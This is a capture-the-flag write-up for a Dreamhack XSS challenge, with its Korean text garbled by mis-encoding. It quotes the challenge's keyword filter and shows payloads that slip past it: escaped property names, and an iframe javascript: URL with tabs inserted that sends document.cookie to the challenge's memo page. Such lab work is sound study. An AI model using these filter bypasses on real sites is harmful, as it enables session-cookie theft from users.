1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/434
2. ํด๊ฒฐ ๊ณผ์
๋ฌธ์ ํ์ด์ง์ ์ ๋ฐ์ ์ธ ์ฝ๋๋ ๋ค๋ฅธ xss ๋ฌธ์ ์ ๊ฐ๋ค.
ํํฐ๋ง ๋ถ๋ถ์ ์ฝ๋๋ฅผ ์ดํด๋ณด์์ผ ํ๋ค.
์ผ๋จ, script, on, javascript๋ ๋ชจ๋ ํํฐ๋งํ๊ณ ์๋ค.
์ฆ, <script></script>์ location href, onerror, <script type="text/javascript"></script> ๋ฑ์ด ํํฐ๋ง ๋๋ค.
์ถ๊ฐ๋ก window ๋ฑ์ด ํํฐ๋ง ๋์ด์๋ค.
document.cookie
alert(document["\u0063ook" + "ie"]); //cookie ํํฐ๋ง
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert, cookie ํํฐ๋ง
์ด์ธ HTML Entity Encoding ๋ฑ์ ํตํ ์ฐํ๋ฐฉ๋ฒ๋ค์ ๋ฐฉ์ดํ ๋ชฉ์ ์ผ๋ก ๋ณด์ฌ์ง๋ค.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
ํํฐ๋ง ๋ชฉ๋ก์ ๋ค์ด์์ง ์์ iframe ํ๊ทธ๋ฅผ ์ฌ์ฉํด ํํฐ๋ง์ ์ฐํํด๋ณผ ์ ์๋ค.
javascript, on ํํฐ๋ง์ ์ ๊ทํ์ ์๋ฆฌ๋ฅผ ์ด์ฉํ์ฌ ํน์๋ฌธ์๋ฅผ ์ฌ์ด์ ๋ฃ์ด์ค ๊ฒ์ด๋ค.
์ด๋, vulnํ์ด์ง์์ GET ๋ฐฉ์์ผ๋ก ์ง์ ์ ๋ฌํ ๋๋ url ์ธ์ฝ๋ฉ์ผ๋ก ์ ๋ฌํ์ง๋ง, memo ํ์ด์ง๋ POST ๋ฐฉ์์ผ๋ก ์ ๋ฌํ๋ฏ๋ก ์ด๋๋ url ์ธ์ฝ๋ฉ์ด ์๋ ๋ฆฌ์ผ ๋ฌธ์๋ฅผ ์ ์กํด์ผํ๋ค.
๋ฐ๋ผ์ memoํ์ด์ง์๋ \x01, \x04 ๋ฑ์ ์ฌ์ฉํ ์ ์์ผ๋ฏ๋ก \t(tab)์ ์ด์ฉํด์ ์ฐํํ ๊ฒ์ด๋ค.
๋ฐ๋ก flag ํ์ด์ง์ ๋ฃ์ด์ค ๊ฒ์ด๋ค.
์ ๋ ฅํ๊ณ ์ถ์ ๊ฒ: <iframe src="javascript:location.href='http:127.0.0.1:8000/memo?memo='+document.cookie">
javascript, location, document ์ฌ์ด์ tab์ ๋ฃ์ด์ ์ ๋ ฅํด์ค๋ค.
<iframe src="javas cript:locatio n.href='http://127.0.0.1:8000/memo?memo='+docu ment.cookie">
์ฑ๊ณต